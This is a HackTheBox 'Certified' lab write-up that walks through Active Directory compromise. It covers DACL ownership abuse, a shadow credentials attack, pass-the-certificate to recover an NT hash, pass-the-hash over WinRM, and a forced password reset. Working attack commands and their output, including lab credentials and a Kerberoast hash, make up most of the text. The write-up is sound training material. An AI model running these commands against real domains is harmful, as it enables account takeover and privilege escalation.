[HackTheBox] Certified

Table of contents

Just another jq
Parsing / Ownership DACL Abuse / PKINIT / Shadow Credentials / ESC9 Vulnerable Template / UPN Mismatch (?) / Certificate Mapping Write-up.
As is common in Windows pentests, you will start the Certified box with credentials for the following account:
Username:
judith.mader
Password:
judith09
Footprinting
Open ports
The open ports on the machine are:
jamarir@kali:~$ sudo nmap -sS -p- -v -Pn --disable-arp-ping -oA syn_full --open 10.10.11.41
jamarir@kali:~$ nmap -Pn --disable-arp-ping -sC -sV -v -oA nse 10.10.11.41 -p$(grep -oP '^\d*(?=/)(?=.* open )' syn_full.nmap |sort -u |tr '\n' ',' |grep -oP '.*(?=,)')
jamarir@kali:~$ cat syn_full.nmap
[...]
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49669/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49683/tcp open unknown
49713/tcp open unknown
49737/tcp open unknown
55876/tcp open unknown
It has DNS service open, let’s configure it to be our local resolver:
jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.11.41' /etc/resolv.conf
It’s a Domain Controller (running Kerberos on port 88), whose FQDN is DC01.certified.htb
:
jamarir@kali:~$ nxc smb 10.10.11.41
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
Because we have access to LDAP with our judith.mader
user, let’s collect a BloodHound database:
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --dns-server 10.10.11.41 --bloodhound --collection All
Down some rabbit holes
You may check this IppSec video for more details.
SMBing ?
No uncommon shares are available as judith.mader
. Sniff.
jamarir@kali:~$ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --shares
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 [*] Enumerated shares
SMB 10.10.11.41 445 DC01 Share Permissions Remark
SMB 10.10.11.41 445 DC01 ----- ----------- ------
SMB 10.10.11.41 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.41 445 DC01 C$ Default share
SMB 10.10.11.41 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.41 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.41 445 DC01 SYSVOL READ Logon server share
Kerberoasting ?
One user is Kerberoastable:
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' --kerberoasting kerberoastables.txt --kdcHost 10.10.11.41
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09
LDAP 10.10.11.41 389 DC01 Bypassing disabled account krbtgt
LDAP 10.10.11.41 389 DC01 [*] Total of records returned 1
LDAP 10.10.11.41 389 DC01 sAMAccountName: management_svc memberOf: CN=Management,CN=Users,DC=certified,DC=htb pwdLastSet: 2024-05-13 17:30:51.476756 lastLogon:<never>
LDAP 10.10.11.41 389 DC01 $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$20b9f6ef9bdb9e3bfe2cdada2fe5beff$9b639a179c8bd7453bce111b378c7ebfcbbeaf57c9eb957232a3277175766680756cc289659da213e0b50f1d17a9f0c21e90a60b0ca8e0a20905d3af3997b82f639f8919753f2373b2837100d5f19ead91e5431457d2acd7c0fed5a859c7b4ba16c011a027bb12d451e08c9289f5a46716e4ff8f729452388095d78d60deae2790b01b014bddd588b7fd3de81f9c4346bb354784374ec2de42c8a482bbfcbc073ddb2fd54432398f8a102bb14a5d4860d6c38247e1aa16f960b1ed14c8f95537c617551587649b8f28772b0e1067d61608dc0b3a35dec5f4798d2203ed93b7608e754bb0201679c618fcf339d44e8697eaf40b80d53c10d7c95b25542cc953d55e8197f9fe9c97e3a4facda7bbd970200a3c11d37a3931c10921ac38336b4021487715726b79b8b161073abc4b78b32eb5b8eaf870b192e4344b33d2f0c89768f47616ffb9f75011a3ba88c69c147244247cc4398fc53ef7930f7017669b6d0a4a927ae00e10df694425c3e68517e910ad008b21f521fcb52a54943b672fabd1ec0b3b00132890631733212af198e6d1edcf9ae154343a32c09b685e9e9c4f64e753fc821622a83611470cae81f0f0e3774a75e8319dee606761e951a4e28b0957b91a272e16c05fc008c3caaa3f9a5ef91e2f6dfcbd586ea8b8a675bba5d6f76220b15f081f45e5f006a94d89dde3b167f7c3280e4bb984a066d18092769a7a0247fd2470d9933417210c01389cc94b54d236fbf9db65c5a47f1edd6bdf0b2f38b6fb05cd269998f5e64ac13724d97e9204dc0f6af17fcfe59dcfee32da2a3aa06a4f20dee1934f75280ecb42e0f5acb2eed9d47c1074b3b8ef2ac96a04bb0948fa1e3e5425249520055e4590ba862df649be61c560018fc7d4201e0fa83d2d22321be9d65a3617df86550f31002024745d453f27c2bcc39d575a7d411bfec5d6c774a5bfa008b5a15faa3d543a68eb9ed8eeb12718a15b239dd3ab94a64bd5b5e1114501d64fb96b668d9b8a50ab685c730054e88e8625fc4391e4da2e44810e35562154894df7771996bb0c87c669ef0b4a51d147d0fb4b2f97c892fd9b42c65108c0d668b69a0d85b6362887187ab7075637cb6d4967c3ff7dead46f8effbaccbeaf1db35a3e15384b1a17a1593992b357c594207c368768efa801c3b1c225bdec0a3bb271bab98c3387ce3913fa07ce190dc3548a71beae1e83a8051d0789e7941c601a8dacc9ec9a87c916fec6fd062b69910878ff09dab4ef11931427b3fe8d7059fa93eef5ee1dfa27a31b47657d80f1122a9ae2aa153e792ca708a9a03c41d516b667fecddb88218dfaacd2df5cfc6a511c96093dc694f52fd14fc54d0dee7b9f3ef16f6b22ae1537582bcf96a756c17c47e2eaeb7376a3208ac4ee132c62e94cb4c445bd02220afe06789495e053ccf61e0cfbfbe7b550f0a9c4b92a0e11f42a68b96553c4753d20a68a07b6325f37f6710e0723f70da99696677838ff52d26e4774514f09269cdc813bfb5b3e813dc61ef376cc0995f705a3c403d6acebb866b9c0dc8a7ce732618654cacd0d7949dd9e7d0e5016
But we can’t crack its TGS with commonly known wordlists. Sniff.
jamarir@kali:~$ echo '$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$20[...]16' |john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
[No password revealed]
Password spraying ?
Password spraying the domain accounts with our judith09
password gives no other valid credentials. Sniff.
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --query "(&(objectCategory=person)(objectClass=user))" "*" > all_users.txt
jamarir@kali:~$ grep -oP '.*sAMAccountName:\s*\K.*' all_users.txt > users.txt
jamarir@kali:~$ while read user; do for protocol in smb; do (nxc $protocol 10.10.11.41 -u "$user" -p 'judith09' |grep -vP '( \[\*\] | STATUS_LOGON_FAILURE |RPC_S_ACCESS_DENIED| Connection refused | ERROR )'&); done; done < users.txt
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
Owner2Manager_or_FullController ?
BloodHound reveals that judith.mader
has the ability to edit the owner of the management
group:
Also, members of this group have GenericWrite
privilege over management_svc
, a member of the Remote Management Users
(to access WinRM). Therefore, management_svc
will probably give the user flag.
As shown in this Blackhat 2018 presentation (slide 22), the compromise scenario is, for us (judith.mader
), to become a member of the management
group to gain GenericWrite
privilege on management_svc
. This would allow us to edit any attribute of the management_svc
user.
We may confirm that this group has the WriteOwner ACL set:
In Windows using the PowerView’s
Get-ObjectAcl
cmdlet:PS C:\Users\jamarir> Get-ObjectAcl -Identity Management -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force))) |where ActiveDirectoryRights -eq WriteOwner ObjectDN : CN=Management,CN=Users,DC=certified,DC=htb ObjectSID : S-1-5-21-729746778-2675978091-3820388244-1104 ActiveDirectoryRights : WriteOwner BinaryLength : 36 AceQualifier : AccessAllowed IsCallback : False OpaqueLength : 0 AccessMask : 524288 SecurityIdentifier : S-1-5-21-729746778-2675978091-3820388244-1103 AceType : AccessAllowed AceFlags : ContainerInherit IsInherited : False InheritanceFlags : ContainerInherit PropagationFlags : None AuditFlags : None
PS C:\Users\jamarir> ConvertFrom-SID 'S-1-5-21-729746778-2675978091-3820388244-1103' -Domain certified.htb -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force))) CERTIFIED\judith.mader jamarir@kali:~$ rpcclient 10.10.11.41 -U 'judith.mader%judith09' -c "lookupsids S-1-5-21-729746778-2675978091-3820388244-1103;quit" S-1-5-21-729746778-2675978091-3820388244-1103 CERTIFIED\judith.mader (1)
In Kali using the BloodHound JSON files with the
jq
parser:jamarir@kali:~$ cat DC01_10.10.11.41_*_users.json|jq '.data[] | select(.Properties.samaccountname=="judith.mader")' { "AllowedToDelegate": [], "ObjectIdentifier": "S-1-5-21-729746778-2675978091-3820388244-1103", "PrimaryGroupSID": "S-1-5-21-729746778-2675978091-3820388244-513", "Properties": { "name": "JUDITH.MADER@CERTIFIED.HTB", "domain": "CERTIFIED.HTB", [...] "samaccountname": "judith.mader", [...] }, "Aces": [ [...] { "RightName": "WriteOwner", "IsInherited": true, "PrincipalSID": "CERTIFIED.HTB-S-1-5-32-544", "PrincipalType": "Group" }, [...] ], [...] }
jamarir@kali:~$ cat DC01_10.10.11.41_*_groups.json|jq '.data[] |select(.Aces[].PrincipalSID | test("-1[0-9]{3,}$"))' { "ObjectIdentifier": "S-1-5-21-729746778-2675978091-3820388244-1104", "Properties": { "domain": "CERTIFIED.HTB", "domainsid": "S-1-5-21-729746778-2675978091-3820388244", "highvalue": false, "name": "MANAGEMENT@CERTIFIED.HTB", [...] "Aces": [ [...] { "RightName": "WriteOwner", "IsInherited": false, "PrincipalSID": "S-1-5-21-729746778-2675978091-3820388244-1103", "PrincipalType": "User" }, [...] ], "IsDeleted": false, "IsACLProtected": false }
The owner of a domain object is contained in the NT-Security-Descriptor attribute. For instance, the current owner of the management
group is Domain Admins
:
PS C:\Users\jamarir> (Get-ADGroup -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -Properties ntSecurityDescriptor -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))).ntSecurityDescriptor.Owner
O:S-1-5-21-729746778-2675978091-3820388244-512
PS C:\Users\jamarir> ConvertFrom-SID 'S-1-5-21-729746778-2675978091-3820388244-512' -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force))) -Domain certified.htb
CERTIFIED\Domain Admins
jamarir@kali:~$ owneredit.py -action read -target management certified.htb/'judith.mader:judith09'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
We can edit the group’s ownership to ourselves using:
The PowerView’s
Set-DomainObjectOwner
cmdlet:PS C:\Users\jamarir> Set-DomainObjectOwner -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=certified,DC=htb" -OwnerIdentity "CN=Judith Mader,CN=Users,DC=certified,DC=htb" -Verbose -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force))) VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'certified.htb' from -Credential VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Extracted domain 'certified.htb' from 'CN=Judith Mader,CN=Users,DC=certified,DC=htb' VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Judith Mader,CN=Users,DC=certified,DC=htb))) VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'certified.htb' from -Credential VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Extracted domain 'certified.htb' from 'CN=Management,CN=Users,DC=certified,DC=htb' VERBOSE: [Get-DomainSearcher] search base: LDAP://10.10.11.41/DC=certified,DC=htb VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Management,CN=Users,DC=certified,DC=htb))) VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'CN=Management,CN=Users,DC=certified,DC=htb' to 'CN=Judith Mader,CN=Users,DC=certified,DC=htb'
Or the
owneredit.py
impacket script:jamarir@kali:~$ owneredit.py -action write -new-owner 'judith.mader' -target management certified.htb/'judith.mader:judith09' Impacket v0.13.0.dev0+20241120.173216.3ce41be - Copyright Fortra, LLC and its affiliated companies [*] Current owner information below [*] - SID: S-1-5-21-729746778-2675978091-3820388244-512 [*] - sAMAccountName: Domain Admins [*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb [*] OwnerSid modified successfully!
jamarir@kali:~$ owneredit.py -action read -target management certified.htb/'judith.mader:judith09' Impacket v0.13.0.dev0+20241120.173216.3ce41be - Copyright Fortra, LLC and its affiliated companies [*] Current owner information below [*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103 [*] - sAMAccountName: judith.mader [*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
However, even if we’re the owner of the group, we can’t grant ourselves membership:
PS C:\Users\jamarir> Add-ADGroupMember -Server 10.10.11.41 -Identity Management -Members judith.mader -Verbose -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
VERBOSE: Performing the operation "Set" on target "CN=Management,CN=Users,DC=certified,DC=htb".
Add-ADGroupMember : Insufficient access rights to perform the operation
At line:1 char:1
+ Add-ADGroupMember -Identity Management -Members judith.mader -Verbose ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (Management:ADGroup) [Add-ADGroupMember], ADException
+ FullyQualifiedErrorId : ActiveDirectoryServer:8344,Microsoft.ActiveDirectory.Management.Commands.AddADGroupMember
PS C:\Users\jamarir> Get-ADUser -Server 10.10.11.41 -Identity "judith.mader" -properties memberof -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
DistinguishedName : CN=Judith Mader,CN=Users,DC=certified,DC=htb
[...]
MemberOf : {}
[...]
jamarir@kali:~$ net rpc group addmem "Management" "judith.mader" -U certified.htb/"judith.mader" -S "dc01.certified.htb"
Password for [CERTIFIED.HTB\judith.mader]:
Could not add judith.mader to Management: NT_STATUS_ACCESS_DENIED
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' --query "(memberOf=CN=Management,CN=Users,DC=certified,DC=htb)" "userPrincipalName"
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09
LDAP 10.10.11.41 389 DC01 [+] Response for object: CN=management service,CN=Users,DC=certified,DC=htb
LDAP 10.10.11.41 389 DC01 userPrincipalName: management_svc@certified.htb
This sounds to be due to the fact that we're not the user managing the group. In Microsoft Exchange, being the managedBy
user on a group is necessary to remove or make a change to this group. We currently own the group, but Domain Admins
still manages it:
PS C:\Users\jamarir> Get-DomainObject -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=certified,DC=htb" -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
[...]
managedby : CN=Domain Admins,CN=Users,DC=certified,DC=htb
jamarir@kali:~$ ldapdomaindump -u 'certified.htb\judith.mader' -p 'judith09' -n 10.10.11.41 certified.htb
jamarir@kali:~$ cat domain_groups.json |jq '.[] |select(.attributes.sAMAccountName[]=="Management") |.attributes.managedBy'
[
"CN=Domain Admins,CN=Users,DC=certified,DC=htb"
]
So let’s try to set ourselves manager of the group:
PS C:\Users\jamarir> Set-ADGroup -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -Replace @{managedBy="CN=Judith Mader,CN=Users,DC=CERTIFIED,DC=HTB"} -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
Set-ADGroup : Insufficient access rights to perform the operation
At line:1 char:1
+ Set-ADGroup -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -R ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (CN=Management,C...ERTIFIED,DC=HTB:ADGroup) [Set-ADGroup],
ADException
+ FullyQualifiedErrorId : ActiveDirectoryServer:8344,Microsoft.ActiveDirectory.Management.Commands.
SetADGroup
We have no sufficient rights :/. What about changing the -Replace
option with -ManagedBy
?
PS C:\Users\jamarir> Set-ADGroup -Server 10.10.11.41 -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -ManagedBy "CN=Judith Mader,CN=Users,DC=CERTIFIED,DC=HTB" -Credential (New-Object System.Management.Automation.PSCredential('certified.htb\judith.mader',(ConvertTo-SecureString 'judith09' -AsPlainText -Force)))
Set-ADGroup : Insufficient access rights to perform the operation
At line:1 char:1
+ Set-ADGroup -Identity "CN=Management,CN=Users,DC=CERTIFIED,DC=HTB" -M ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (CN=Management,C...ERTIFIED,DC=HTB:ADGroup) [Set-ADGroup],
ADException
+ FullyQualifiedErrorId : ActiveDirectoryServer:8344,Microsoft.ActiveDirectory.Management.Commands.
SetADGroup
Sniff.
A workaround is to grant ourselves FullControl
over the group with dacledit.py
:
jamarir@kali:~$ dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' certified.htb/'judith.mader':'judith09'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-<DATE>.bak
[*] DACL modified successfully!
Note that this operation requires us to be the owner of the group here. If the owner is left to Domain Admins, the group’s attributes alteration is denied:
jamarir@kali:~$ dacledit.py -action 'write' -rights 'FullControl' -principal 'judith.mader' -target 'management' certified.htb/'judith.mader':'judith09' Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-<DATE>.bak [-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152E13, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
Basically, as the Microsoft’s documentation on Access control overview shows (see
dacledit.py
’sSIMPLE_PERMISSIONS
class), ACL (Access Control List) defines what a security principal (identified by its SID) can do over a ressource/object (e.g. file, share, registry key, AD object). Principals are generally users, computers, or groups.It’s worth noting that:
Principals can perform actions on an object (i.e. Read, Write, Modify, Full Control).
Each object has an owner, who grants rights to principals. By default, the owner of an object is its creator.
Rights given to a group are inherited by its members.
A container is a parent object that has one or more child objects (e.g. a folder, with its subfolders/subfiles). Rights given on a container are inherited on its children.
Anyway, being the owner of the
management
allows us to give ourselves FullControl over that group; which translates into a GENERIC_ALL permission (all possible access rights).If we wanted only write access on members of the group, we could have used the right
WriteMembers
:
jamarir@kali:~$ dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'management' certified.htb/'judith.mader':'judith09'
Now, we may add ourselves to that group !
jamarir@kali:~$ net rpc group addmem 'management' 'judith.mader' -U certified.htb/'judith.mader'%'judith09' -S 'DC01.certified.htb'
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -M group-mem -o GROUP="management"
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09
GROUP-MEM 10.10.11.41 389 DC01 [+] Found the following members of the management group:
GROUP-MEM 10.10.11.41 389 DC01 judith.mader
GROUP-MEM 10.10.11.41 389 DC01 management_svc
GenericWrite DACL abuse
Members of the management
group have GenericWrite
permission over the management_svc
account:
GenericWrite
privilege allows member to edit any property on an AD object.
It could be noted that
GenericWrite
doesn’t allow to edit a user’s password:
jamarir@kali:~$ rpcclient 10.10.11.41 -U certified.htb/'judith.mader'%'judith09' -c 'setuserinfo2 management_svc 23 "P@ssw0rd123!";quit' result: NT_STATUS_ACCESS_DENIED result was NT_STATUS_ACCESS_DENIED
To force a user’s password change, the
User-Force-Change-Password
privilege is required. On the contrary, more permissive privileges (namelyGenericAll
andAllExtendedRights
) allow password changes because they provide extended rights, containing theUser-Force-Change-Password
privilege.
BloodHound suggests 2 attack vectors: Targeted Kerberoasting and Shadow Credentials.
We won’t go for the Targeted Kerberoasting attack because:
management_svc
already has an SPN set. Thus, we don’t need to set an arbitrary SPN to retrieve a TGS.We already tried to crack the
management_svc
’s TGS, which was a funny rabbit hole.
So, let’s impersonate management_svc
with a shadow credentials attack.
PKINIT Overviewed
For more information about the classic Kerberos authentication, you may check, among many other resources, my Active article.
For more details about asymetric Kerberos authentication, you may check RFC4556, or the Microsoft documentation on PKINIT, its glossary, or most importantly this specterops article, along with its Certified Pre-Owned paper.
As a reminder, the Kerberos protocol is used to authenticate domain clients to application servers against the KDC (i.e. the DC in an AD):
PKINIT is the Public Key Cryptography for Initial Authentication in Kerberos. This protocol is a pre-authentication extension of Kerberos that enables the usage of public key cryptography in the AS exchanges (to get a TGT). Therefore, users could authenticate against the KDC/AS with a private key (asymetric authentication) instead of a password (symetric authentication).
Asymetric authentications is likely to be more secure than symetric authentications. Indeed, the attack resistance strength of Kerberos is as robust as the clients’ passwords complexity, which is likely to be less secure for human users, who can set weak passwords. Also, PKINIT prevents human clients from having to manage strong passwords. Finally, PKINIT can be strengthened with other asymetric authentication mechanisms such as smart cards.
For asymetric authentications, both the client and the DC must have a private/public key pair.
By default, the DC has its own certificate if ADCS (Active Directory Certificate Services) is enabled. ADCS is the Microsoft’s PKI implementation, which provides multiple features. In particular, it provides a CA (Certificate Authority), i.e. a PKI server issuing certificates to clients.
With ADCS, on top of the symetric authentications, clients can also authenticate asymmetrically. Such authentications use one of 2 trust models:
A Certificate Trust model, where the client uses its certificate (requires a PKI).
A Key Trust model, where the client uses its Key Credential, stored in its
msDS-KeyCredentialLink
attribute. For instance, WHfB (Windows Hello for Business) uses a Key Trust model to authenticate clients.
Shadow Credentials 2 Pass-The-Certificate !
The prerequisites of a shadow credentials privesc are that:
The domain supports PKINIT, with at least one Windows Server 2016 DC.
jamarir@kali:~$ nxc smb 10.10.11.41 SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
The DC has its own key pair (default for domains with a CA).
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -d 'certified.htb' -M adcs SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False) LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09 ADCS 10.10.11.41 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)' ADCS 10.10.11.41 389 DC01 Found PKI Enrollment Server: DC01.certified.htb ADCS 10.10.11.41 389 DC01 Found CN: certified-DC01-CA jamarir@kali:~$ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' -M enum_ca SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False) SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09 ENUM_CA 10.10.11.41 445 DC01 Active Directory Certificate Services Found. ENUM_CA 10.10.11.41 445 DC01 http://10.10.11.41/certsrv/certfnsh.asp
The attacker has write access over a user’s Key Credential attribute.
The goal of a shadow credentials attack is to impersonate a user on which we can alter the msDS-KeyCredentialLink
attribute. By default, this attribute is only writable by the members of the Key Admins
(resp. Enterprise Key Admins
) group in a domain (resp. forest) context.
Because we have GenericWrite
privilege over management_svc
, we can edit any attribute of this user; msDS-KeyCredentialLink
in particular. We could use the pywhisker
tool to perform the attack:
jamarir@kali:~$ pywhisker -d certified.htb -u 'judith.mader' -p 'judith09' --target 'management_svc' --action 'add' --filename shadow
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 0c8bc665-cf9b-ffe5-9a7e-d6103819b58d
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: shadow.pfx
[*] Must be used with password: r7BKMAXvhKSFtDqneG32
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
jamarir@kali:~$ pywhisker -d certified.htb -u 'judith.mader' -p 'judith09' --target 'management_svc' --action 'list'
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Listing devices for management_svc
[*] DeviceID: 0c8bc665-cf9b-ffe5-9a7e-d6103819b58d | Creation Time (UTC): <DATE>
Note that our shadow credential’s password is r7BKMAXvhKSFtDqneG32
, and a shadow.pfx
certificate has been generated. Now, we could Pass-The-Certificate to impersonate management_svc
using either:
PKINITtools to request a TGT with our PFX certificate, then the NTHash:
jamarir@kali:~$ python gettgtpkinit.py -cert-pfx shadow.pfx -pfx-pass 'r7BKMAXvhKSFtDqneG32' certified.htb/'management_svc' shadow.ccache <DATE> minikerberos INFO Loading certificate and key from file INFO:minikerberos:Loading certificate and key from file <DATE> minikerberos INFO Requesting TGT INFO:minikerberos:Requesting TGT <DATE> minikerberos INFO AS-REP encryption key (you might need this later): INFO:minikerberos:AS-REP encryption key (you might need this later): <DATE> minikerberos INFO 58f1010094585ac1d2b4feccc44858b44f933765c1f1b3f3dbdf5f37402ef983 INFO:minikerberos:58f1010094585ac1d2b4feccc44858b44f933765c1f1b3f3dbdf5f37402ef983 <DATE> minikerberos INFO Saved TGT to file INFO:minikerberos:Saved TGT to file jamarir@kali:~$ export KRB5CCNAME=shadow.ccache jamarir@kali:~$ python ~/gits/PKINITtools/getnthash.py certified.htb/'management_svc' -key 58f1010094585ac1d2b4feccc44858b44f933765c1f1b3f3dbdf5f37402ef983 [...] Recovered NT Hash a091c1832bcdd4677c28b5a6a1295584
Or Certipy. However, this tool doesn’t support passwords on certificates, so we must first generate an unprotected certificate to request a TGT:
jamarir@kali:~$ certipy cert -export -pfx shadow.pfx -password 'r7BKMAXvhKSFtDqneG32' -out 'unprotected.pfx' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Writing PFX to 'unprotected.pfx' jamarir@kali:~$ certipy auth -pfx unprotected.pfx -dc-ip '10.10.11.41' -username 'management_svc' -domain 'certified.htb' Certipy v4.8.2 - by Oliver Lyak (ly4k) [!] Could not find identification in the provided certificate [*] Using principal: management_svc@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'management_svc.ccache' [*] Trying to retrieve NT hash for 'management_svc' [*] Got hash for 'management_svc@certified.htb': aad3b435b51404eeaad3b435b51404ee:a091c1832bcdd4677c28b5a6a1295584
Now, we may get the user flag !
jamarir@kali:~$ evil-winrm -i 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
*Evil-WinRM* PS C:\Users\management_svc\Documents> gc ../desktop/user.txt
94[...]2d
Privilege escalation
management_svc
GenericAll over ca_operator
Our user can edit any attribute of the user ca_operator
with extended rights. Here, we could update this user’s password:
jamarir@kali:~$ rpcclient 10.10.11.41 -U certified.htb/'management_svc'%'a091c1832bcdd4677c28b5a6a1295584' --pw-nt-hash -c 'setuserinfo2 ca_operator 23 "P@ssw0rd123!";quit'
Now, we can impersonate ca_operator
with the P@ssw0rd123!
password. The next attack vector will be looking for vulnerable certificate templates, which is common in ADCS boxes.
Certificate Templates Overview
For more information, you might check this specterops’s article, or the Microsoft’s ADCS documentation.
